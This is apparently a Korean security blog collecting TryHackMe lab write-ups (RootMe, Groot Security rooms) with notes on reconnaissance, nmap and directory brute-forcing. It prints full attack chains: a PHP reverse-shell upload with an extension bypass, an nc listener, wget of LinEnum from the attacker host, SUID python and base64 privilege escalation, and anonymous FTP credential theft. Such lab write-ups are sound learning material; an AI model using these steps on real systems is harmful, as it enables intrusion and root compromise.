웹 기본 정보 수집

  • Robots.txt
  • 서버 헤더, 버전, 이름 확인
    • 공개 취약점 검색
  • 프론트엔드, 백엔드 테크 스택(Tech Stack) 확인
  • 디렉토리 브루트포싱(Directory Brutefocing)
  • Spidering

 

 

Robots.txt

  • 검색 엔진 크롤러들을 위한 권한 및 규칙
  • 보안 경계가 아님
  • 검색 엔진 -> 크롤러 -> 웹 서버 + 웹 페이지 크롤
  • User-Agent : 크롤러 유저 에이전트 특징
  • Allow : 특정 디렉토리/페이지 크롤링 허용
  • Disallow : 특정 디렉토리/페이지 크롤링 거부
# Example 1 : Block only googlebot
User-agent: Googlebot
Disallow: /

# Example 2 : Block Googlebot and Adsbot
User-agent: Googlebot
User-agent: AdsBot-Google
Disallow: /

# Example 3 " Block all crawler
User-agent: *
Disallow: /

웹 검색엔진은 크롤러들을 무수히 많이 보유하고있다

크롤러들은 수많은 웹 서버들과 페이지들을 스캔한다고 보면된다. 예를 들어 페이지들이나 index.html 같은 파일들을 크롤링한다 그렇게 크롤링된 페이지들이 사용자가 검색엔진에서 검색을 하게 되었을때 화면에 표출되게 해준다

하지만 웹 사이트를 운영하는 입장에서는 중요한 정보나 민감한 정보들을 보지 못하게하고 싶은 경우가 있을 것인데 그런 페이지를 허용하거나 불허 하는 규칙을 지정해놓은 것이 Robots.txt 이다

 

디렉터리 브루트포싱

  • Directory Brutefocing
  • 숨겨진 디렉토리, 페이지 등을 찾기 위해서 사용하는 기법 중의 하나
  • 특정 wordlist + 파일 확장자 -> 브루트포스
  • 주의 -> 요청 속도에 따라 블랙리스트에 올라갈 수 있다.
  • 툴 -> Gobuster, Dirb, Feroxbuster(새로운 툴)

공격자와 타겟 웹서버가 있다고 한다면 웹서버는 뒤에 가지고 있는 디렉터리나 페이지 등이 있을 것인데 이것을 굳이 표출하지 않아도 되는 것들도 많이 있을 것이다. 공격자 입장에서는 그래서 이 숨겨진 파일이나 디렉터리가 존재하는지 모를 것이다. 공격자는 그것을 알기 위해서 wordlist를 준비해서 하나하나 질의하는 것을 Directory Brutefocing 이라고한다.

주의 할점은 블랙리스트에 올라갈 수 있는데, 왜냐하면 웹 서버 입장에서는 수천 수만개의 요청을 보내면 수상하다고 여길 수 있기 때문이다.

이것을 우회하기 위해 proxy, serverless등을 많이 이용한다

 

 

그래서!??

  • 웹 서버와 웹 어플리케이션 == 좋은 공격 표면
  • 정보 수집 - Robotx.txt, 디렉터리 브루트포싱
  • 정보 수집을 바탕으로 한 추가 공격이 가능하다
  • 방어자 입장에서의 Robots.txt, 디렉터리 브루트포싱
    • 민감한 디렉터리/페이지
    • Rate Limiting -> 중요한 
    • WAF

 

 

'개념' 카테고리의 다른 글

일단 배우는 모의해킹 개념 - 정보 수집  (1) 2024.03.26

tryhackme에서 했던 RemoteWebAdm으로 모의해킹을 진행하며 정보 수집, 포트스캐닝 등의 개념을 공부 해볼 것입니다

 

정보수집

  • 특정 대상의 정보를 수집해 추후 공격에 사용될 수 있는 잠재적인 취약저모가 잘못된 설정등을 파악하는 과정
  • Enumeration, Reconnaissance(Recon)
  • 대상의 종류에 따른 정보 수집
    • 웹 - 웹기반
    • 서버 - 포트스캐닝
    • 네트워크 - Sweep, DNS, 포트스캐닝
    • 기관 - OSINT, 인적 자원, 기술 자원
  • 목표 : 타겟의 프로필 생성 + 공격 계획 수립

 

포트스캐닝

  • CTF, 내/외부망 등
  • 포트 : 네트워크 트래픽이 엔드포인트의 특정한 (네트워크) 서비스/프로세스와 통신하는데 사용되는 논리 단위(숫자)

1. 열려 있는 포트 확인

2. 포트를 사용 중인 네트워크 서비스 확인

3. 서비스 이름과 버전 정보를 기반으로 정보 수집

4. 공격 실행

 

Nmap

  • Network Mapper - 네트워크 문제 해결 스캐너로 97년도에 개발이 되었음
  • Nmap.org
  • Scanme.nmap.org
    • 합법적으로 스캔 가능하다
    • 브루트포스, Intrusive 스캔 금지 -> 불법
  • 소스코드 : github.com/nmap/nmap
    • 로우레벨 (c,c++)
    • 네트워크 인터페이스 & 커널
    • RFC, 패킷 구조, 등등 다양한 소스코드가 있다

플래그

  • -p :  포트 (22,80,443 | 100-200 | --top-ports 100)
  • -iL : 타겟 리스트 파일
  • -Pn : 핑 제외 포트스캐닝 (Host Discovery를 안한다)
  • -sV : 특정 포트에서 돌아가고 있는 네트워크 서비스 배너 확인
  • -sC : 기본 Nmap 정보 수집 스크립트 사용
  • -oA : 다양한 (xml,nmap,gnmap) 형태로 출력
  • -T0~5 : 속도
  • -n : DNS Resolution 제외
  • --open : 열려 있는 포트만 출력

 

포트스캐닝의 종류

  • Host Discovery
    • ICMP + 포트 80,443 확인
  • TCP
    • -sS : TCP Syn -> 속도가 빠르다
    • -sT : TCP Connect
    • Ack, Null, Fin, X-mas ~~ :  현대 방화벽 때문에 X
  • UDP
    • -sU : UDP 포트 스캔
  • ICMP ( 포트스캐닝 X )

 

 

 

https://tryhackme.com/r/room/rrootme

 

기본 정보 수집 및 포트스캐닝을 배우기위해 RootMe 박스를 모의해킹

 

 

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213

┌──(root㉿kali)-[~/raccoon/rootme]
└─# cat tcpFull.nmap 
# Nmap 7.94SVN scan initiated Sun Mar 24 00:29:52 2024 as: nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sun Mar 24 00:30:28 2024 -- 1 IP address (1 host up) scanned in 36.79 seconds

-p- --max-retries 2 : 모든 포트를 2번 시도해라

-Pn : 호스트 디스커버리 하지 않겠다

-n : DNS 디스커버리 하지 않겠다

--open : open된 포트만 보여달라

-sS : tcp 씬스캔을 활용하겠다

--min-rate : 미니멈 레이트는 2000

-oA : 출력 파일은 tcpFull로 하겠다

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p 22,80 -sV -sC -Pn -n --open -oA tcpDetailed 10.10.94.213
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 00:32 EDT
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.40 seconds

 

 

1. 웹사이트 확인

 

2. 소스코드 확인

 

3. robots.txt 확인 

 

별다른 단서가 없다

 

4. gobuster를 이용해 디렉터리 브루트포싱을 진행

┌──(root㉿kali)-[~/raccoon/rootme]
└─# gobuster dir -u http://10.10.94.213/ -w /usr/share/wordlists/dirb/common.txt -f -x php -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.94.213/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess/           (Status: 403) [Size: 277]
/.htaccess.php/       (Status: 403) [Size: 277]
/.php/                (Status: 403) [Size: 277]
/.hta.php/            (Status: 403) [Size: 277]
/.hta/                (Status: 403) [Size: 277]
/.htpasswd.php/       (Status: 403) [Size: 277]
/.htpasswd/           (Status: 403) [Size: 277]
/css/                 (Status: 200) [Size: 1125]
/icons/               (Status: 403) [Size: 277]
/index.php/           (Status: 200) [Size: 616]
/index.php/           (Status: 200) [Size: 616]
/js/                  (Status: 200) [Size: 958]
/panel/               (Status: 200) [Size: 732]
/server-status/       (Status: 403) [Size: 277]
/uploads/             (Status: 200) [Size: 743]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================

 

403은 의미가 없어 200위주로 볼것이다

 

 

뭔가 디렉터리 인덱싱이 가능한 오픈 디렉터리가 나오긴 하는데 안에 파일이 아무 것도 없다 근데 업로드 이기 때문에 뭔가 파일을 업로드하면 /uploads 디렉터리 안에 업로드가 될 것 같다.

 

 

 

파일을 업로드하는 무언가가 나온다

생각되는 시나리오

1. /panel에서 업로드를 하면 /uploads 에서 업로드가 되는 것이 보일 것

2. 그게 php 파일이라면 웹서버 자체의 백엔드가 php 이기 때문에 사실상 php를 열어서 확인한다는건 php 코드가 실행된 다는 것과 같다

 

 

5. php 리버스쉘 코드 업로드 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# find / -name "*php-reverse-shell*" 2> /dev/null
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
^C
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# cp /usr/share/laudanum/php/php-reverse-shell.php .                 
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# ls
php-reverse-shell.php  tcpDetailed.gnmap  tcpDetailed.xml  tcpFull.nmap
target                 tcpDetailed.nmap   tcpFull.gnmap    tcpFull.xml
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# vim php-reverse-shell.php

 

php 파일에서 chang this 부분에 리버스 쉘이기 때문에 내가 가지고 있는 ip를 적어준다

 

업로드 시켜줬지만 업로드가 되지 않은 것같다 뭔가 php 확장자로는 안되서 php upload bypass를 통해 우회를 해서 업로드를 시킬 것이다

 

6. file upload bypass를 통한 php 파일 우회 업로드

우선 php -> php5 로 확장자를 변경해서 업로드 시도

정상적으로 파일을 업로드 했다

 

7. 리버스 쉘 받기

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...

이렇게 nc 명령어를 입력한 후에 업로드된 파일을 누르면 된다.

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...
connect to [10.8.59.204] from (UNKNOWN) [10.10.94.213] 38488
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 05:01:09 up 41 min,  0 users,  load average: 0.00, 0.00, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

리버스 쉘을 획득한 모습

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@rootme:/$

python을 이용해서 pty를 불러온 후 권한 상승을 위해서 구글에서 linenum.sh github를 검색해 스크립트를 가져온다

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2024-03-24 01:09:28--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                    100%[==============================================>]  45.54K  --.-KB/s    in 0.1s    

2024-03-24 01:09:29 (315 KB/s) - ‘LinEnum.sh’ saved [46631/46631]


┌──(root㉿kali)-[~/raccoon/rootme]
└─# python3 -m http.server 8443                 
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...

python을 통해서 웹서버를 8443으로 오픈

 

www-data@rootme:/$ cd /dev/shm
cd /dev/shm
www-data@rootme:/dev/shm$ wget http://10.8.59.204:8443/LinEnum.sh
wget http://10.8.59.204:8443/LinEnum.sh
--2024-03-24 05:11:33--  http://10.8.59.204:8443/LinEnum.sh
Connecting to 10.8.59.204:8443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh            0%[                    ]       0  --.-KB/s              LinEnum.sh           32%[=====>              ]  14.95K  57.1KB/s              LinEnum.sh           96%[==================> ]  44.14K  81.8KB/s              LinEnum.sh          100%[===================>]  45.54K  84.4KB/s    in 0.5s    

2024-03-24 05:11:34 (84.4 KB/s) - 'LinEnum.sh' saved [46631/46631]

www-data@rootme:/dev/shm$
www-data@rootme:/dev/shm$ chmod +x ./LinEnum.sh
chmod +x ./LinEnum.sh
www-data@rootme:/dev/shm$ ./LinEnum.sh

[+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python

이것을 악용할 것이다

GTFObins 사이트에서 쳐야할 명령어를 검색할 후에 실행 

www-data@rootme:/$ python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
#

root 권한을 획득했다

 

# find / -name "user.txt"
find / -name "user.txt"
/var/www/user.txt
# cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
# find / -name "root.txt" 2> /dev/null
find / -name "root.txt" 2> /dev/null
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

 

'TryHackMe' 카테고리의 다른 글

[TryHackMe] Robots  (0) 2024.03.24

https://tryhackme.com/r/room/grootsecurity

 

Task 7
이미 두번이나 해킹당한 HoneyVoice 일당은 보안을 강화했다!!
이번에도 해킹 할 수 있을 것인가?

* FTP exploit, privilege escalation, misconfiguration, SUID, GTFOBins를 이용해 Permission의 중요성에 대해서 배운다

첫번째 nmap을 이용하여 열려 있는 포트 확인 후 웹페이지 확인

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# nmap 10.10.23.74 -sV > nmap_res     
                                                                              
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat nmap_res 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 23:12 EDT
Nmap scan report for 10.10.23.74
Host is up (0.33s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds

 

그냥 일반적인 apach2의 기본 웹페이지 It works 가 떠있다. 별 다른 것은 없고 ftp 를 확인해 봐야겠다

 

 

두번째 ftp

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74                                                 
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root):

ftp 서버에 연결하기 위해서 name, pw 를 알아야하는데 일단 국룰처럼 확인하는 것이 있다 

일단 ftp가 open port 가 되어있는 것이 확인 되었다면 항상 default로 만들어져있는 것을 먼저 해본다

anonymous:anonymous

anonymous:

ftp:ftp 

이렇게 3개가 있는데 하나씩 해본다

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ftp 10.10.23.74                                                 
Connected to 10.10.23.74.
220 (vsFTPd 3.0.3)
Name (10.10.23.74:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

anonymous:anonymous 를 트라이 하니 접속이 되었다. 

 

ftp> ls
229 Entering Extended Passive Mode (|||56078|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
226 Directory send OK.
ftp> get temporary_pw.txt
local: temporary_pw.txt remote: temporary_pw.txt
229 Entering Extended Passive Mode (|||58918|)
150 Opening BINARY mode data connection for temporary_pw.txt (45 bytes).
100% |*********************************|    45       10.26 KiB/s    00:00 ETA
226 Transfer complete.
45 bytes received in 00:00 (0.16 KiB/s)
ftp> exit
221 Goodbye.
                                                                              
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ls
nmap_res  target  temporary_pw.txt

 

ftp에서 파일을 가져올때는 get이라는 명령어를 사용해서 파일을 가져온다.

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# cat temporary_pw.txt 
Do you see a docx file ? Read the docx file.

 

파일의 내용을 확인한 결과 docx파일이 보이냐는 말이 적혀있다 뭔가 의도적으로 보이지 않게 해놓은것 같다

ftp> ls -a
229 Entering Extended Passive Mode (|||64074|)
150 Here comes the directory listing.
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 .
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 ..
-rwxrw-r--    1 1000     1000         7173 Mar 12  2023 .ssh_creds.docx
-rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
226 Directory send OK.

 

ls -a 를 통해서 숨겨져있는 파일을 확인한 결과 docx 파일이 하나가 있고 파일을 확인하기 위해서 libreoffice를 사용하였고

이름은 ssh id 그리고 encoding 된 코드 하나를 받을 수 있다

 

일단 파일을 만든 저자를 알기 위해서 metadata를 확인해야하는데 그것을 알기 위해서 exiftool 이라는 것을 사용하여 확인할 것이다.

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# exiftool .ssh_creds.docx               
ExifTool Version Number         : 12.76
File Name                       : .ssh_creds.docx
Directory                       : .
File Size                       : 7.2 kB
File Modification Date/Time     : 2023:03:11 21:31:40-05:00
File Access Date/Time           : 2024:03:23 23:27:37-04:00
File Inode Change Date/Time     : 2024:03:23 23:27:37-04:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0808
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x7f431349
Zip Compressed Size             : 360
Zip Uncompressed Size           : 1341
Zip File Name                   : word/numbering.xml
Creator                         : harry

 

harry 라는 저자를 알았고 비밀번호는 base64로 인코딩된 비밀번호 인걸을 확인할 수 있어서 base64로 디코딩 시켜준다

┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# echo "Y2F0Y2htZSFAI2==" | base64 --decode
catchme!@#
┌──(root㉿kali)-[~/raccoon/catchmeifyoucan]
└─# ssh harry@10.10.23.74     
The authenticity of host '10.10.23.74 (10.10.23.74)' can't be established.
ED25519 key fingerprint is SHA256:AWt6DBDufX3qfIbn7UQP2HTBa+F5G+yijI5p/nMJm1M.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:4: [hashed name]
    ~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.23.74' (ED25519) to the list of known hosts.
harry@10.10.23.74's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 24 Mar 2024 03:39:11 AM UTC

  System load:  0.08              Processes:             111
  Usage of /:   33.6% of 9.75GB   Users logged in:       0
  Memory usage: 46%               IPv4 address for eth0: 10.10.23.74
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

25 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Mar 13 03:30:45 2023 from 192.168.137.131
harry@linuxgroot:~$

ftp를 통해서 알아냈던 단서들을 통해서 ssh 연결까지 성공 시켰다

 

 

세번째 flag 찾기

harry@linuxgroot:~$ find / -name "user.txt" 2> /dev/null
/home/harry/backup/user7/user.txt
/home/harry/backup/user16/user.txt
/home/harry/backup/user/user.txt
harry@linuxgroot:~$ cd backup/
harry@linuxgroot:~/backup$ grep -r GROOT{
user7/user.txt:GROOT{C4TCHME_S3CRETS}

첫번째 user.txt

 

harry@linuxgroot:~$ find / -name "flag.txt" 2> /dev/null
harry@linuxgroot:~$ sudo -l
Matching Defaults entries for harry on linuxgroot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on linuxgroot:
    (root) NOPASSWD: /usr/bin/find
harry@linuxgroot:~$ sudo find / -name "flag.txt" 2> /dev/null
/root/flag.txt

 

harry@linuxgroot:~$ find / -type f -perm -4000 -exec ls -h {} \; 2> /dev/null

...
/usr/bin/base64
...
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 /root/flag.txt
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
harry@linuxgroot:~$ base64 --decode /root/flag.txt
GROOT{C4tCl+lME!fy0Uc4N}

flag.txt 를 바로 읽을 순 없어서 suid를 이용해 root 권한으로 실행을 시킬수 있는 바이너리를 찾아야하는데 그중에서 base64가 있다 그래서 base64 명령어는 suid를 통해 root 권한으로 실행되기 때문에 base64를 통해서 파일을 읽는다 근데 인코딩이 되어있어서 이것을 디코딩 시켜줘야한다

 

이렇게 두번째 flag 까지 획득

https://tryhackme.com/r/room/grootsecurity

 

Task 6 
HoneyVoice 보이스피싱 일당의 비밀관리 서버를 해킹한다

* robots.txt, Gobuster를 이용한 디렉토리 브루트포싱에 대해서 공부


 

┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sS -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.59 seconds
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# nmap 10.10.228.69 -sV -sC -p 22,80 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 22:06 EDT
Nmap scan report for 10.10.228.69
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:27:95:ed:47:88:cb:69:fa:2e:19:c7:03:5f:b3:26 (RSA)
|   256 96:8e:85:5b:f6:bc:43:76:52:24:dd:72:4c:65:27:79 (ECDSA)
|_  256 22:87:05:24:cb:7a:3f:b2:a4:5e:e2:88:9a:69:b2:af (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-title: HoneyVoice Secrets Server
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds

 

ssh 공격은 좀 나중에 하고 우선 ssh와 http가 있으면 http 웹공격 먼저 시도를 할 것이다.

 

첫번째로 웹사이트가 뜨고 ctrl+u 를 통해서 소스코드를 확인해봤지만 딱히 단서가 될만한 것은 없다

 

 

두번째로 /robots.txt 를 통해서 경로롤 변경한 뒤에 확인을 한다

 

여기서 robots.txt 의 개념을 공부해야한다

검색 엔진 (goolge,naver) 등은 크롤러 라는 것을 만드는데 이것이 인터넷에 뿌려져서 다양한 웹페이지를 조사하고 어느 서버에 어느 포트에 어느 php 파일이 어디에 존재하는지를 긁어온다 admin.html 같은 중요한 페이지는 크롤러를 보고 크롤링을 금지해야한다 라고 알려주는 것이 robots.txt 이다

즉, 웹서버의 검색엔진 최적화 (SEO)에 쓰이도록 만들어 졌지만, 잘못 설정될 경우 원치않은 디렉터리나 페이지를 유출할 수 있는 파일이름은 robots.txt 이다

 

그래서 위 사진을 보면 allow: /index.php 이말은 index.php에 대한 크롤링은 허용 Disallow: /admin.php는 admin.php에 대한 크롤링은 허용하지 않는다. 이런 말이 이다.

 

 

하지만 우리는 공격하는 입장이기 때문에 안돼는 것은 없다!

하지만 이 admin.html은 진짜 admin 페이지는 아니고 뭔가 xxxx.hv.html 을 보라고 나와있다. 4자리의 숫자로 되어있다고 한다

그래서 우리는 이제 web directory bruteforcing 이라는 기법을 사용해서 공격을 할 것이다python을 이용해도 되고 다른 스크립트를 이용해도되지만 이번에는 bash를 이용하여 진행

 

 

──(root㉿kali)-[~/raccoon/Robots]
└─# for i in {0000..9999} ; do echo $i.hv.html >> wordlist.txt; done
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# ls
target  wordlist.txt
                                                                              
┌──(root㉿kali)-[~/raccoon/Robots]
└─# tail wordlist.txt 
9990.hv.html
9991.hv.html
9992.hv.html
9993.hv.html
9994.hv.html
9995.hv.html
9996.hv.html
9997.hv.html
9998.hv.html
9999.hv.html

 

세번째 간단한 for 문을 이용하여 wordlist.txt 를 생성

 

네번째 gobuster라는 툴을 이용하여 공격

──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100

gobuster dir 공격을 할 것이고

-u : 공격할 url

-w : 아까 생성한 wordlist를 적어주면 된다

-t : thread는 100 정도 

 

┌──(root㉿kali)-[~/raccoon/Robots]
└─# gobuster dir -u http://10.10.228.69 -w wordlist.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.228.69
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                wordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/7289.hv.html         (Status: 200) [Size: 653]
Progress: 10000 / 10001 (99.99%)
===============================================================
Finished
===============================================================

/7289.hv.html 이라는 것은 200 응답이 나와 파일이 있는 것으로 확인 되었고, 나머지는 404 error 가 발생했을 것이다.

 

NOPE. 이 떳지만 여기서 페이지 소스를 확인해보면

이러한 아이가 등장한다 비밀번호와 패스워드 그리고 flag 값이 나오고 보너스 문제를 풀기 위해서 ssh연결을 통해서 마지막 flag 까지 획득 하면 완벽하다

'TryHackMe' 카테고리의 다른 글

[TryHackMe] RootMe  (0) 2024.03.24

https://tryhackme.com/r/room/grootsecurity

 

Task5 - RemoteWebAdm

스토리
보이스피싱 일당의 웹 관리 서버를 한번 해킹 해보자

 

 

1. 첫 번째로 ping을 보내서 테스트를 해본다 ping 테스트가 성공적이라면 네트워크적인 소통은 할 수 있겠다라고 생각할 수 있다

 

 

2. 정보수집

어떤 포트가 열려 있는지 확인하기 위해서 nmap을 사용하여 스캐닝 한다

┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap 10.10.236.229                                                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:26 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 3.76 seconds

 

22/tcp -> ssh

10000/tcp -> snet-sensor-mgmt

 

두개의 포트가 열려있는 것을 확인 할 수 있다 하지만 정확한 정보를 얻기는 힘들기 때문에 좀더 자세히 확인

 

3. 디테일한 정보 수집

┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap -p 22,10000 -sV 10.10.236.229 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:41 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
10000/tcp open  http    MiniServ 1.890 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.46 seconds

-p  ->옵션을 사용하여 스캐닝할 포트번호 를 적는다

-sV -> 네트워크 서비스 배너그래빙이라는 플래그가 있는데 이 플래그는 정확한 네트워크 서비스 정보나 이름을 알려주는 플래그 

-oA tcpDetailed -> nmap의 출력값을 모든 형태로 tcpDetailed라는 파일이름으로 출력해줘 라는 의미

 

